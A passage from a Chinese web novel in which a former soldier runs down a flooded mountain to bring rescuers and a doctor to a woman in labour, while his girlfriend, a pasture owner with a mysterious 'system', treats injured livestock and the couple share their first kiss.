迪亚斯朝师月江笑了笑也没客气，大晚上的他视力不是特别好，要不是想着小赵她男人从前在家的时候也很照顾他们老两口，这种时候他不可能站出来的。 想到这里他又叹了口气，都出去打工，都出去赚钱，除了那几个懒汉也就他们这些老东西还在村里，要真出了什么事情，连个搭把手的人都没有！ 幸好还有这些年轻的村干部在，不然这种时候谁送小赵下山啊！ “我对这路熟，我们之前都是从山上搬下去的，我在前面探路，你们慢这点儿，别颠着小赵了。” 小赵捂着肚子满脸都是泪水，“阿爸，你这么大年龄了，我这”。 迪亚斯叹了口气，“你知道我不容易你就好好撑着，等到了山下你健健康康把娃娃生下来就成了！” 师月江不免有些感慨，没来这边之前其实不少人都有刻板印象觉得少民跟汉族未必能相处得来，但是来了之后才知道不是这样的，大家都是同胞，也许生活上有摩擦有处不到一起去的地方，但是真遇到事儿了哪有什么区别？都是好心人！ 迪亚斯举着手电筒，拿着根棍子在两边敲打，尽量避开被雨水泡的湿软的地面，“你们都注意脚下啊，这雨太大了，挡视线。” 几人小心往山下走，就算不回头师月江都能听得到后面人逐渐粗重的喘息声，师月江心里暗叫不好。 就算他不是特别熟悉这条路，但是他也能感觉到目前没有走特别久，下山的路还长着呢！ 不等师月江想出解决办法来，突然感觉到担架向后方倾斜，他赶忙转身一把提住那人的衣领，“站好！” 那人手脚没劲儿了，可也知道这时候自己不能倒，一倒下去孕妇怎么办？难不成眼睁睁看着她一尸两命？ 他咬牙撑住了，轻轻把担架往上抄了抄，腿都在发抖。 迪亚斯听到动静后回来，师月江道，“先把人慢慢放到地上，注意一点，别颠簸！” 几人缓缓放低担架，直到放到地上后那人才一个屁股蹲倒在了地上，大口大口喘气，根本站不起来！ 师月江擦了把脸上的雨水，这样不行啊！ “小同志，要不换我来？”迪亚斯低声问道，师月江打量了他一眼赶忙摇头，“不成，你还得引路。” 事实上师月江没同意主要还是因为他本人的问题，迪亚斯个子偏瘦小，可能因为年龄大了还有点驼背，这个年轻的干部都撑不了多久，难道迪亚斯能撑很久吗？ 万一他腿软或者怎么样，摔到孕妇那可就真的麻烦大了。 村干部小周白着一张脸又是懊恼又是自责的，“都怪我，是我不好，我”。 师月江叹了口气，虽然说对方看起来个子也不小，但是怎么虚成这个样子？ 但他又确实是好心在帮忙，还冒着那么大的风险，也不好说他什么啊！ “现在怎么办？” “你过会还能坚持吗？”在小周开口前他便先道，“你实话实说，别逞强！” 现在想办法总比他万一真撑不住摔倒了然后伤到孕妇再想办法好吧？ 小周嘴巴动了动，最终懊恼地摇了摇头，“我的手在抖。” 另外两人低着头没说话，可师月江看得出来，他们未必真能坚持到山下。 师月江头疼地不行，“现在两个选择，一个是继续想办法把人运下去，另一个就是让人先下山去找人上来救援，你们怎么看？” 几个年轻人沉默了一会儿，最终一人道，“我们也讲实话，之前站出来的时候没觉得坚持不下去，但是现在的情况是我们确实没办法抬或者背了”，他也知道自己这样不对，这话也难听，但事实情况就是继续下去真有可能摔到孕妇的！ 而且也不是说他们逞强，但凡村里还有能顶得上的年轻人他们都不至于来抬，最多就是陪同而已。 可有吗？没有！村里最年轻的都是懒汉，靠他们还不如靠自己呢！ 师月江咬牙，现在就算上山找人也找不到合适的并且愿意下山抬人的。他倒是想一个人背，先不说能不能坚持到下山，只说他的背负很可能导致孕妇肚子受压迫或者颠簸，对孕妇和孩子都没好处！ 他眼神坚毅缓缓吐出一口气，“你们在这守着，我下山去找人，尽快回来！” 迪亚斯想跟他一起去师月江拒绝了，来不及慢悠悠的了，“大爷你给我指个方向。” 这种时候讲太细的人家也听不懂，迪亚斯想了想便道，“你要么直接顺着这边垂直下山，要么往北边走一点也可以，这便直接下山离镇里也不远。” 师月江心里有数了，第一次来又是下大暴雨，他根本不可能再去找路，也不现实。 他把手电筒从头上取下来，回头叮嘱了几人几句话后深吸一口气向山下冲去。 师月江不敢直线狂奔下山，因为容易控制不住自己，磕到石头上或者树上，他可未必有命活。 他身体半蹲，重心后坐，双脚交替滑行，同时用脚后跟控制速度，避免过快，路过大树之类的时他也会扶一下减缓速度。 看着他消失在几人眼前迪亚斯头疼得不行，扭头看几个干部，“你们得好好锻炼身体，你们身体都不行怎么工作啊？”甭管是想扶贫还是想干啥，你自己身体才是本钱！身体弱成这样了可未必能做好工作啊！ 再说了这次如果师月江没跟着来，万一路上真出了什么事情，让孩子家人怎么接受？ 小周羞愧地点了点头，另外二人虽不至于奉为圭臬，但是确实认识到了自己的不足，迪亚斯看着他们叹了口气，年轻人啊！ 师月江不知道自己滑了多久，刚开始还是蹲着滑，后来变成了坐在地上滑，他也累啊！ 才走了两个多小时到这边，现在又抬着人下山，然后又出了这档子事，他的自己想办法快速下山，早就疲惫不堪了。 他干脆坐在雨衣上，用手脚同时控制速度。雨衣本就滑，现在草上全是水，更是滑的飞快！ 当然了屁股也是快被颠成八瓣了！ 至于雨衣，根本不用看就知道屁股后面肯定多了好几个洞！ 第120章 姚新泉心里担心师月江但做不了什么,只能强迫自己把心神都放在牛羊身上。 这一看她便发现了问题，“我刚开始还想着那头牛是特殊情况，可现在看来他们这边都没怎么驱虫啊！” 艾力闻言赶紧过来看,“你看这头羊,我本来就觉得有点瘦小,还想着是不是小羊羔子,但我刚掰开嘴看了下,第一对门齿都长出来了,这羊应该是一岁到一岁半之间，不应该这么瘦的！” 艾力掂量了 一下后也觉得不大对劲，“你是觉得因为没驱虫导致生长缓慢？” 姚新泉点头，她又扒开小羊的脖子处的毛让艾力看,“你看,有虱子还有螨虫,这羊身上全是皮肤病，估计肚子里也是一肚子虫子。” 艾力黑着脸又看了旁边的一头，这下更是无语,他小心夹出一只草鳖子然后踩死,“就是没驱虫”。 “我记得春天的时候村干部找我们牧民开过会，要求要驱虫的,我家是因为特殊情况,都在怀孕,但我养的比较注意,也给用了孕期可以适当用的驱虫的东西，所以倒没什么问题，但这边估计一点儿都没驱虫！” 艾力头疼，“八五年颁布了《家畜家禽防疫条例》之后对这方面抓得还比较严,虽然不至于强制性，但是也是作为一项考核任务的，这边怎么”。 他话没说完，但是姚新泉知道他的意思，刚想说什么就听一旁留守的干部道，“我们也开会通知了的。” 这人看起来应该也就刚毕业，年龄不大而且瘦瘦小小的，此时一脸委屈，倒弄得姚新泉两人觉得不大自在，像是欺负了他一样。 “我们开春的时候就通知过了，而且把从县里培训学来的驱虫药也都抄写了好多份给养殖户发下去了，但人家不听我们也没办法强制啊！” 姚新泉其实是理解的，别说驱虫国家没给补助，就算给补助的布病，不一样好多家都没打疫苗？ 艾力气得要死，“你说说这些人，那驱虫药能有几个钱？这养了一年多的羊一点不长肉，他们也不急？去年过年都能出栏的羊，他养到今年我看也未必能出栏！真是丢了西瓜捡了芝麻！” 姚新泉也叹气，但这事儿她确实没什么办法，她也只能管好自己而已。 “你回头再向上面反应下看看有没有什么好办法吧，就算不指望着这些羊赚钱也不能就这样放任啊！” 艾力只能无奈点头，小干部待了没一会儿又去人群聚集的地方了。这边的几间房里没人待，主要也是因为这房子年久失修都漏的不行了，也实在躲不了雨。 姚新泉避开漏雨的地方叹了口气，“砖瓦房盖不起，土坯房也好好整修一下啊！” 艾力摇了摇头不想说什么，有些人你就不能拿普通人的想法去想他们，也不能去管他们的事情，越管越气。 “咱们这边还好一点，糊涂的玩意儿少，隔壁市那边说出去才气死人！你看咱们市的草场不说维护的多好，但是至少没有什么明显的退化，但是隔壁那边，早两年刚放开允许私人养殖的时候，也没讲究什么承包不承包牧场的，你爱放就放。” “他们市领导步子也迈的大，跟银行那边给不少养殖户贷款，这下可好，他们一见你贷款两千买小三十头羊，那我就贷三千，他就贷五千！” “我估计是当时的审核有点儿问题，能批的不能批的反正是都批了。他们不考虑自己的能力，也不考虑草场的承受能力就往那放”，艾力眼中满是嫌弃，“就好像我少养了十头就是我吃亏了一样！” “短短两年的时间，那边草场退化严重，养殖经验不足的牧民都亏了，然后他们又一窝蜂把养的牛羊全卖了，本钱都回不来，银行的钱也还不上，上面领导倒霉，银行倒霉，他们倒死皮赖脸说不还就不还，隔壁市听说现在想去银行办创业贷款的，银行给批的可能性和金额比别的地方小多了。” 姚新泉沉默，这可真是…… “算了算了，说起这些就来气”，艾力吐槽了两句也懒得再说这些了，看着外面的雨幕两人有一搭没一搭地聊着。 乌日图是消防队的一员，暴雨下来后便接受了安排跟同志们一起抢险救灾，看着山上的洪流他只觉得头皮发麻，这可什么时候是个头啊！ 突然，他看到山上一不明物体快速往下滑吓了一跳，赶忙拉了下同事刘兵。 刘兵的胳膊刚有点扭着了，正龇牙咧嘴地活动呢，被他这么一拽人差点儿没站稳，“我靠，你干嘛？” 乌日图指着前方神情很是紧张，“你看那是啥？那是不是个人啊？” 刘兵眯着眼睛看过去眉头也忍不住皱了起来，“好像还真是啊，快跟队长说，别是山上的人摔下来了吧！” 几人往那边赶去，这边没医生，如果真出了事，还得赶紧送到医生边去！ 几人刚到山脚下，就见那人一刀扎在了一颗两人合抱的大树上停下了下滑的趋势，刘兵看得忍不住吸了口气。 老天爷，人往下滑不管是重力还是什么惯性的，他这么骤然停下，那胳膊得拽的多疼啊！ 几人赶紧踏着到小腿的水跑了过去，来人正是师月江。 他收回姚新泉给他的匕首后顾不得别的，开门见山道，“山上有一孕妇马上要生了，上面没大夫也没人会接生，我们本来想抬下来就医，但是路上难走，抬不动了，我只能下来求援。” 他看了下手表，万幸手表是防水的，“我下来的时候是晚上8点零6分，现在是8点23分，17分钟我不确定产妇现在是什么状态，需要医生。” 几人愣了愣这才反应过来他说了什么，队长也顾不得别的，赶忙去叫医生，“得把人接下来，现在人等于是在野外是吗？” 师月江苦笑点头，可不是在野外吗？他倒是想运下来，但是条件不允许啊！ “尽量让医生跟着一起上山吧，把人运下来！” 无非就两个选择，要么把人接下来，要么让医生上去接生，但问题是哪个单独选都不合适。 接人，他们倒是能把人带下山，然后呢？他们谁能保证产妇路上不会出什么意外？一旦有什么问题肯定得有个医生帮衬着，这可是两条人命啊！ 但要是在山上生产也不行啊！在家里生都比在野外生要好吧？ 而且据他所知，负责他们这一片儿的医生可不是妇产科的，他真的会接生吗？万一生下来有什么问题都得需要处理，所以还是得下山。 队长一边安排人手，抽空问师月江，“山上情况怎么样？” “我跟我对象不是他们村的，我们牧场在北边一点的地方，地势高，牧场所在的村也差不多，暴雨对我们那边影响不算特别大。” 不等队长问他便接着回答，“我们是因为艾力兽医给我对象打电话说有两百头牲畜被压在棚子底下急需治疗，我对象才赶到那个村去的。” “他们村人跟牲畜没在一块儿，我们在畜棚那边儿，没见着村民，但是他们村干部有过来，村民暂时应该是没什么问题的。” 知道师月江两人冒着大雨去救助牲畜，这又冒着大雨甚至是山洪下山送产妇，还独自一人下山报信，队长感慨地拍了拍他的肩膀，“小伙子真可以！” 暴雨一下起来县里就给下面镇上通知了，有地势较高的地方的村镇就往那边迁，别到处乱跑。如果地势低洼，没地儿躲，又受大雨影响的，那就派人往外救援。 像师月江他们去的那个村还有他们自己村就都算是地势比较高，与其往外逃倒不如就地躲避更好，所以他们救援队也没特意往上去。 但不管怎么样，听到消息还好，队长心里松了口气。 “那你过会儿跟我们上山吗？” 师月江毫不迟疑地点头，开玩笑，姚新泉可在山上呢！ 队长有心要劝可想了想最终还是闭嘴了。 这边快速准备好东西，又去把医生接来之后几人开始上山。 师月江在前面带路，他对了下手表上的指南针确定方向后找了两根棍子，一根探路，一根递给跟着的医生，“你拽着？” 乌日图赶忙帮他拒绝，“没事儿没事儿，我带着大夫”，师月江下山肯定费了不少体力，这下再上一次山已经够不容易了，再让他带着个人实在太过勉强。 师月江没什么意见转身往上爬去。 等好不容易到之前停下的位置时师月江看了下手表，用时五十多分钟！ 他暗暗叹了口气，平复了下呼吸后赶忙问，“人怎么样了？” “羊水还没破，应该撑得住”，村干部眼睛都红了，他都以为自己等不到他们救援的人了。 乌日图看了眼脸色都没什么变化的师月江心里咂舌，这人是干什么的啊，怎么这么劳道？ “医生先来看看情况，能不能下山？” 医生捂着感觉即将要爆炸的胸口擦了把脸，脸上汗水跟雨水混合眼睛都要睁不开了。 他确实不是产科医生，此时也只能硬着头皮尽快衡量是否可以转移了。 120-130 第121章 “第几胎？” “第三胎。” 医生李奎抿唇,初产的话产程会长一点，经产就未必了。 “阵痛间隔多久？” 产妇脸色难看，在手电筒的照射下更是苍白得跟鬼一样,医生为自己这个想法而感到抱歉,“不确定时间,但估计有十分钟左右吧！” 李奎脸色好看了一些,如果是规律宫缩3-5分钟/次那就表示即将分娩了,可能就不具备下山生产的条件。 “有无便意？” 产妇一时没反应过来,或者是太疼了根本没有注意，乌日图便着急问，“就是说想不想拉屎！” 师月江忍不住笑了下，李奎也被逗笑了,“是我不好,我没问明白。” 产妇咬着牙说没有。 李奎这下更是乐了,太好了，因为如果有强烈下坠感那就表示胎头压迫，需要硬着头皮接生,那这种情况哪怕在产科上他甚至连两把刷子都没有也得顶上了！ “准备送产妇下山！” 救援队的人确定可以下山后赶忙将人轻轻抬到他们的专业担架上,然后把担架上的系带避开肚子后给她系上防止活动，又把师月江之前做得简易雨棚给她安上。 几人抬起产妇,乌日图顿了一下,“你要去吗？” 师月江知道他在问自己,他点了点头,“去吧！” 送佛送到西，而且谁也不知道这一路上会发生什么，万一再遇到什么事情，多个人也能多个帮手,“你们也去一个人”，他看向村干部。 一人赶忙站了出来，“我去，我去！”是最开始抬不动的那个人。 师月江没意见，是谁都无所谓，但这人毕竟跟他非亲非故，他甚至连对方叫什么都不知道，肯定得有个知道情况的人跟着，更别说他本来就是村干部了。 几人启程，另外留下的人看着众人离开的背影只能在心里默默祈祷希望能平安。 师月江几人历经诸多艰难后终于下了山，等队长安排人将产妇接走，乌日图累得根本站不住，也顾不得地上的水，一屁股坐了下去。 “要不是你，这产妇可真危险了啊！”乌日图感慨，因为一直是下坡，担架前面的人又要看路，承受的重力也要多一些，他体格子大所以在前面。 路上他身边的同事踩到了烂泥里，没站稳整个担架就往一边倒，幸好师月江冲了上来接住担架，这才没让产妇摔着。 “你真是牛逼死了！”乌日图又看了看师月江并不显得强壮的身体心里羡慕的不行。 他个头不矮，也有将近一米八五，再加上人很壮，远看就跟头熊一样。可师月江虽然比他高一些，但人却并不显壮，可人家无论是力气还是身手感觉都挺强的啊！ 师月江笑了笑朝他伸手把人拉了起来，“水里脏得很你别瞎坐，去歇一会儿再听你们队长安排吧，我得上山了。” 乌日图有点懵，“不是，你还要上山啊？”这来回几趟的他都不累？跑着玩儿是吧？ 师月江摊了摊手，“我对象在山上，我得去找她，而且得给大家报个平安！” 乌日图有些迟疑，可到底刚认识也不好劝，只能不停叮嘱，“你小心点啊！你手电筒还有电吗？要不要给你换块儿电池？” 师月江摇了摇头，他带了两个手电筒呢！ “行了，你先歇着，回头等闲了可以去山上找我”，说完头也不回地离开了。 “我觉得他比我更适合干救援”，乌日图喃喃道，队长听到了也没打击他，人各有志，对方身上看得出来有部队的痕迹，退伍之后有些责任就不能再强加在人家身上了。 再说了他做得也并不少啊？ 姚新泉远远看见师月江回来没忍住跑了出去，“你怎么样？我听他们说你是自己先下山报信的？” 姚新泉听到这个的时候心都要跳出来了！ 这座山虽然算不上太高，但是正常登顶也得将近一个小时了，更别说雨天。 他们这边水土是保持的不错，但是不代表当大雨冲刷的时候山上的石头、泥土、树枝子不会往下滑啊！ 本来就看不清，又冒着大雨，他还不熟悉路，一个人下山报信，想想姚新泉都后怕。 师月江赶忙拉着她往屋里走，“快进去别淋着了。” 姚新泉叹了口气跟着他小跑回去，等脱了雨衣看到师月江脸上手上的伤口姚新泉心里闷闷的难受，可又不知道该说些什么。 师月江笑了笑，“这不是没事吗？人送下山了，这边水不算太深，也就到小腿肚子那边，暂时用不上救生艇，我走的时候反正看着他们是安排了拖拉机把人送到县医院去生孩子，村干部也跟着，应该没什么大事。” 其实他还挺震惊的来着，虽然这样想不是太好，但对方竟然能坚持这么久…… 下山之后人大夫就说了，要真生在路上那他真没辄！ 至于为什么急着要送下山，还不是因为之前产妇去检查过，胎位不正，没办法在山上顺产啊！ 因为这，村里人跟村干部才着急的，不然的话自古以来大家也不是没在家生过孩子，条件不允许在医院生的话，那就在家生呗！ 但胎位不正，又没医生也没接生婆，在家怎么生？那不是等死吗？ 万幸产妇这身体足够健康啊！ 师月江没把这些告诉姚新泉免得她担心，“这边怎么样，该救的都救了？” 姚新泉点了点头，“被砸伤的不算少，但伤情不重，我跟艾力两个人忙活了一阵子都治疗过了。等雨停了之后慢慢养就行。” 这也是知道雨明天就能停她才这么放松，像艾力现在就愁得不行，因为他担心雨一直不停，这种情况不利于伤口恢复，但凡死一头都是损失啊！ 师月江身上都湿透了，艾力过来跟他打了声招呼，“你们看是在这等还是回去等？” 去姚新泉牧场的路不太好走，但是比下山可是安全多了，师月江干了什么他也有所耳闻，人家能来回几趟的跑，回个家算什么？ “这边不用我了？”姚新泉问。 艾力笑骂，“你这话说得倒像我在赶你走一样！这边条件就这样，该帮忙的你也都帮了，没必要在这熬着，想回就回吧，回去好好歇一歇。” 两 人商量了一下决定还是回去，家里留张新康一个人在他们不放心，到底还是个孩子呢！ 村干部知道他们要走赶忙过来，没好意思握姚新泉的手，书记握着师月江的手满脸感慨，“你看你们又是帮我们治疗牲畜，又是帮我们救人的，我们也没个正经地方招待你们！” 师月江笑着摇了摇头，“特殊情况我们能帮的上的也就尽尽绵薄之力而已”！ 书记赶忙摇头，“什么绵薄之力，你们这是救命之恩！等雨停了我让她男人回来去感谢你们！”人家有啥义务过来帮忙？还不是人好？感谢是必须的，虽然说人家未必图他们什么东西，但是接受了人家这么大的恩德，他们不能什么都不做！ “还有姚老板，之前就听说你那牧场搞的有声有色的，如今再一看你年纪轻轻这一手医术也着实了得，回头我这边报到镇上去，争取给你拿个什么奖励回来！” 姚新泉被夸得都不好意思了，几人寒暄了一会儿后两人穿着雨衣打着手电筒相携而去。 书记看着艾力，“你看你是去咱们上面挤挤还是我给你找床被褥过来在这边挤挤？” 两人熟悉说话也没什么顾忌，艾力满脸嫌弃，“就这边吧，懒得上去，看到那些人就来气。” “我记得这些牛羊好像也是上面给补助的吧，不是自己花的钱就是不上心啊！”赶着牛羊上来之后把牲畜往棚里一赶就啥也不管了，要不是牲畜都挤在那一个棚里，漏雨归漏雨，可真未必会塌！ 结果塌了之后到现在，除了几个村干部，还有人过来看看吗？ 上面给的补贴，这牛羊养大了能卖也能自己吃，这多好的事情！但是转念一想，人都顾不得了，哪里还顾得了牲口？ 书记知道自己村里人都是什么德行，想解释也觉得没必要，只是苦笑着拍拍他的肩膀，“那你在这凑合一夜，等回头请你喝酒！” 艾力哼了一声不想说话。 另一边师月江紧紧揽着姚新泉怕她跌倒，路上更难走了，到处都是泥泞。 正头痛着突然听到系统提示，“经检测右前方二十米的枯树下有一只动物需要救助，宿主是否救助？” 姚新泉叹气，她看了一眼，这边还是以草原为主，只是草原上也有少片的林区，像她牧场上的云杉林。 她想了想，现在也没打雷闪电，只是下雨的话注意脚下好像没什么危险吧，“救助。” 姚新泉拍了拍师月江，“我去那边一下”，师月江一愣，随即有些不太自在，“离家不太远了，要不你”，可这也不好勉强是吧，他抿了抿唇最终还是道，“我帮你看着，你别走太远。” 姚新泉一愣，随即扑哧笑出声来，“我不是要上厕所，我是有事情，去那看一下，马上就回来！” 师月江闹了个大红脸，揽着姚新泉往那边走去。 第122章 师月江还是不放心地跟在姚新泉身后,姚新泉踏着水小心前进，大约一两百米的距离两人走了挺久。 到了地方后她抹了把脸上的雨水，仔细看了下倒下的那棵大树,她一时间没看出来是什么树,不过这边就这一棵,应该是它吧？ 姚新泉想把大树翻过来,她蹲下身用力去抬,可也不知道是地上太滑还是怎么回事,一屁股就坐在地上没起来，吓得师月江赶忙去拉她。 姚新泉无奈摆了摆手，“我没事，就是没想到还挺重。” 师月江虽然不知道她要干什么,但姚新泉要做的,他一般都不会阻拦,“咱们一起啊！” 两人一起用力，枯树立马被翻到了一边。 只觉得有什么东西立马从树干里钻了出来，消失在了两人眼前。 姚新泉愣了愣,“那啥？” 师月江目光有些奇异,“好像是松鼠，我看到它的尾巴了。” “行吧,也算日行一善了”,姚新泉无所谓地耸了耸肩,跟师月江继续往路上走。 师月江不留痕迹地看了她一眼,暴雨天回家路上突然心血来潮想去翻路边的枯树干，然后救了被压住的小动物什么的。 他轻笑了一声，他的听力比普通人要好不少，他很确定自己什么声音都没听到,所以应该不是听到动静后去救助的，不过也没什么重要的。 “这雨真的更大了啊！”姚新泉感叹，要不是系统没出过错，她真的要怀疑明天，不对，应该算是今天了，这雨会停吗？ 两人回来花费的时间更多，算下来都快三个来小时了，姚新泉走得腿都软了。 张新康听到动静后赶忙过来开门，见到两人都好着这才松了口气，“你们快去洗澡，我去给你们烧热水，家里有感冒药吗？” 姚新泉摆了摆手没力气说话了，师月江不好去拿女孩子的衣服，还是让她自己去拿，把人送到浴室了。 见张新康站那没动他拍了下对方的肩膀，“回去睡吧，你姐就是太累了，感冒药我知道在哪，我给她冲。” 张新康有些担忧地看了那边一眼，但见师月江坚持也只好叹了口气回去休息了。 两人没回来的时候他哪里睡得着啊！ 这么大的雨，谁知道会不会出点事情？ 还好还好两人回来了。 姚新泉不知道张新康在想什么，冲着热水澡她整个人都跟活过来了一样。 她快速地洗了个头又冲了下身上，看着自己被泡的发白的小腿跟脚苦笑一声，匆匆收拾好了后便回了客厅。 师月江把冲好的感冒药给她，又把吹风机给她找出来后自己才去洗澡，等出来后就看姚新泉拿着一瓶碘伏看着他，“过来给你消个毒。” 师月江愣了下，他看向自己的手心笑了笑，太匆忙了他都没注意到自己身上有没有别的伤口。 姚新泉让他将左手放在自己膝盖上，拿棉签沾了碘伏后小心涂抹在了师月江的手心。 师月江的手很大，手指纤长，但绝不会让人觉得弱不禁风，手心也有许多出老茧。 此时他手心上光是渗血的地方就有四处，手背上更是，小拇指处还掉了一大块儿皮。 姚新泉抿了抿唇，想说什么又不知道怎么开口，都是为了救人啊！ “身上有吗？” 本想说没有，可对上姚新泉的目光后他迟疑了片刻还是道，“肩膀上青了。” 姚新泉叹了口气，他手上都是碘伏也不方便脱衣服，而且右手手背上那么长一道口子，虽然不至于缝针，但翻卷着的皮肉看着还是很吓人，姚新泉给他消毒又涂了药，更是不好碰了。 “刚也不知道你身上有伤，现在都不方便了”，姚新泉嘟囔着，师月江嘴角勾起一丝笑意可也没说要自己脱。 两人都坐在沙发上，姚新泉微微倒向他，洗发水的清香萦绕在师月江的鼻尖。 她的手缓缓搭在了他短袖的下摆处，她咬了下唇捏住棉质布料后缓缓掀起布料。 姚新泉的目光落在了师月江腹部紧绷的线条上，随后便是胸口，她不自在地移开了视线，可当指尖不小心触碰到师月江身体时，两人都轻轻打颤。 寂静的客厅里突然不知道传来了谁吞咽的声音，“新泉”，听到师月江那比平时更沙哑低沉的声音，她的手卡在师月江腋下动不了了。 师月江的手缓缓抚摸上姚新泉的脸侧。 “抬手”。 “我可以吻你吗？” 两人同时出声，随后又同时沉默。 姚新泉暗暗叹了口气，她微微抬起眸子看向师月江。师月江是好看的，她从一开始就很确定，但长了些肉的他比初见时更多了两分温润。 姚新泉咬了下唇，没注意到师月江目光的变化，她忍不住嘟囔，“倒也没必要这么尊重我的意见吧”，说完鼓起勇气便想吻上去。 不知是师月江听到了她的话还是什么，放在她脸侧的手突然按在了姚新泉脖颈上，将她 压向自己，姚新泉瞪大了眼睛。 感受到嘴唇上的柔软触感她忍不住眨了眨眼，就从两人贴在一起的身体处感觉到了对方胸腔的震动。 师月江的指尖落在了她的眼睛上，“新泉，闭眼。” 也不知过了多久两人才分开，姚新泉不大好意思地靠在师月江怀里，把头搭在了他的肩膀上半天缓不过劲儿来。 而师月江的手搭在她的后背上克制地没有再动。 姚新泉缓过劲儿来后嗔了他一眼，什么羞涩都跑到天边去了，“抬手！” 师月江老实抬手，但嘴角的那抹笑意还是看的姚新泉拳头硬了。 看到师月江身上那被泡出来的细碎伤口以及肩膀处的那一大块淤青姚新泉脸都黑了。 “身上的伤不管，手上的伤也不管就那样去洗澡，你是生怕你伤口好得太快了是吗？” 师月江牵住她的手十指紧扣，“救人要紧嘛！” 听着他像是撒娇般的声音姚新泉骂人的话憋在了胸口，半晌拧了下他的耳朵，“你就折腾自己吧！” 也不知道他怎么弄得，是衣服破了还是怎么样，身上小伤口太多了，她一一给消毒后又把红花油翻了出来给他肩膀处按摩了一阵。 两人收拾完一看时间都将近凌晨3点了，师月江摸了下她的头发确定干了这才催她回去睡觉。 他把人送到卧室门口，姚新泉刚想说什么就感觉到一个轻轻的吻落在了眉间，“去睡吧，明天别急着起床，好好歇歇！” 姚新泉有些不大好意思地点了点头，两人说了句晚安便各自去歇着了。 躺在床上谁也睡不着，翻来覆去回忆着那个吻。 第二天等姚新泉醒来看了下闹钟后人都傻了，12点半。 她拉开窗帘发现雨停了更是激动，睡衣也没换便跑了出去，师月江正好拎着一桶牛奶回来，见状不赞成地皱了皱眉，“去穿个外套，今天温度还挺低的。” 等姚新泉洗漱过来就看到张新康端着一碗牛奶喝着，满脸享受。 姚新泉有点奇怪，“你不是不爱喝牛奶吗？” 张新康家里虽然没牛，但是之前自己家有，而且他家也从奶厂那边定，但是张新康都不喜欢。记忆中好像她小姨还骂张新康是山猪吃不了细糠呢！ “你家牛奶好喝啊！月江哥啥都没给我放，就纯牛奶烧开了都好喝！” 之前家里定的牛奶不管是放糖还是放盐感觉都压不住那股腥气，他实在是不喜欢。 姚新泉没再理他，看向师月江，“雨是什么时候停的？” “早晨9点左右”，师月江递给她一碗牛奶，这几天下雨牛奶送不出去，不喝掉就浪费了，虽然就他们几个人是怎么也喝不完的，不过不是还有家里小动物吗？ 这几天给家里小动物们少量试了牛奶，它们肠胃基本都能接受，所以师月江把牛奶放凉一点后给家里狗子们都倒了小半碗，多的就不敢给了。 他又拎着牛奶去给马鹿还有那头小公牛都喂了点儿，喂得都是烧开的，没敢放太多，怕乳糖不耐受。 像是小马驹就有消化乳糖的能力，可随着马长大，这种能力也在逐渐消退，所以不敢喂多。 至于鹿的话，鹿奶的营养成分跟牛奶有不小的差异性，就算是小鹿也不能随便喂牛奶。 也就是给他们适当补充下营养，尝个鲜。 姚新泉跟在师月江身后去喂小动物，张新康满脸嫌弃地看着他们，大人真是的，谈个恋爱跟黏在一起了一样！ 他打开电视机，昨天电视没信号了，今天突然又有了一些，看着本地频道播放这两天大雨的新闻。 他们县没自己的电视台，市里有，可以搜到市里的节目，不过一般也就只有新闻频道。 看着上面播放抢险救灾的新闻，听着记者报道这两天的雨有多大，河里的水位涨了多少，给国家和人民造成了多少损失，有多少房屋被冲毁，多少树木被冲倒，多少道路桥梁被冲塌，以及受伤人数…… 张新康看的鼻头酸酸的，就不能太太平平没有任何灾祸吗？ 好烦啊！ 第123章 姚新泉把奶碗放下也没急着吃早饭,跟着师月江出去看小动物们了。 狗狗们现在吃饭都是在回廊底下，此时几个小家伙正啪嗒啪嗒喝牛奶呢！ 牛羊状态都还可以，小牛犊也健健康康的没什么新生儿的病,杜泊羊虽然因为没有被煽,所以难免有打架的情况,但也在控制范围内。 之前那头生病的小牛犊状态也恢复的不错,姚新泉本来不想再单独关着,就让皮皮他们带着他玩儿。 主要也是没合适的群体,母牛才分娩，不合适合群。 羊的话母羊都怀孕，也不合适，杜泊羊更拉倒,所以算来算去还是让两个无业游民皮皮和平安带着他吧！ 不过因为下雨,现在还关在圈里的。 炽焰的伤口因为这两天下雨的问题恢复的不算太好,姚新泉给他调整了下用药。 马鹿的话，姚新泉过来的时候就看到那个大家伙卧在地上，百无聊赖地看着前方,面前摆着的放奶的碗也没动过。 见到姚新泉过来后它的目光便落在了姚新泉身上没再动。 姚新泉进去后摸了摸他头上的枯树叉子,又看了下马鹿身上的伤口，这一看眉头就皱了起来,“你这都发炎了啊！” 不知道是不是因为洪水爆发时水里太脏了,他的伤口恢复的很是不好,姚新泉拍了拍他的脑袋,“你等我吃个饭回来给你重新弄一下啊！” “哞”。 姚新泉瞪大了眼睛，看向发出叫声的马鹿忍不住笑了起来，“你这叫声咋跟老牛一样啊！” 不过比牛叫声更短促一些。 马鹿偏过头去不理她，姚新泉笑了笑留了句等我回来就先去吃饭了。 太饿了,感觉能吃下一头牛！ 家里没发面也来不及蒸馍馍，一大早也不想吃米饭，师月江摊了几张蛋饼，又捞了点儿咸菜切碎，还炒了个土豆丝跟西辣蛋，再给三人都盛上了浓浓的奶茶。 “你们这个点儿还没吃？”姚新泉有点惊讶，还以为他们俩都吃了呢。 张新康看了师月江一眼后轻哼了一声，“月江哥说我饿了就先吃点儿饼干，他要先干活”，然后估摸着姚新泉该醒了才给她做最热乎的早饭。 当然了，他倒也不是生气，就是觉得这个男的可真会表现啊！姚新泉笑看了他一眼，美滋滋地卷了个饼递给师月江，师月江眉眼含笑地接下来，看的张新康牙酸。 不是，干嘛啊，这还有人呢！ 电话线不出意外又断了，山下的电话线好像都断了，反正他们是联系不上她小姨他们，也不知道山下现在情况怎么样了。 吃完早饭后姚新泉又去给马鹿重新治疗了一下，发现其实伤口也就是外面有点红肿，里面还行，这才放心，三人无所事事地开始打起了牌，也算是难得的消遣了。 山下从雨停了之后张运秋就赶紧来了店里，苏永华早早就被叫去了幼儿园，他 把门打开后看着地上将近20公分的积水头都大了。 幸好那天冒着大雨过来把摩托车都停在了架子上，虽然说家具什么的都泡水了，但是好赖车没坏不是？ 至少损失没那么大！ 张运秋拿着扫把往外扫水，一探头就见街坊四邻全都在收拾水，相视苦笑。不过听他们说自家店里的损失后张运秋心里又多了几分隐秘的高兴，哎呀，真是不枉他那天过来一趟！ 苏永华到了幼儿园后也根本歇不起来，五位老师跟一位厨师加校长7人忙的脚不沾地。 “小王跟小刘，你们俩去把教室里的积水跟淤泥处理一下。” “小赵跟小陈，你们去把被泡过的家具搬到外面去晒一晒。” 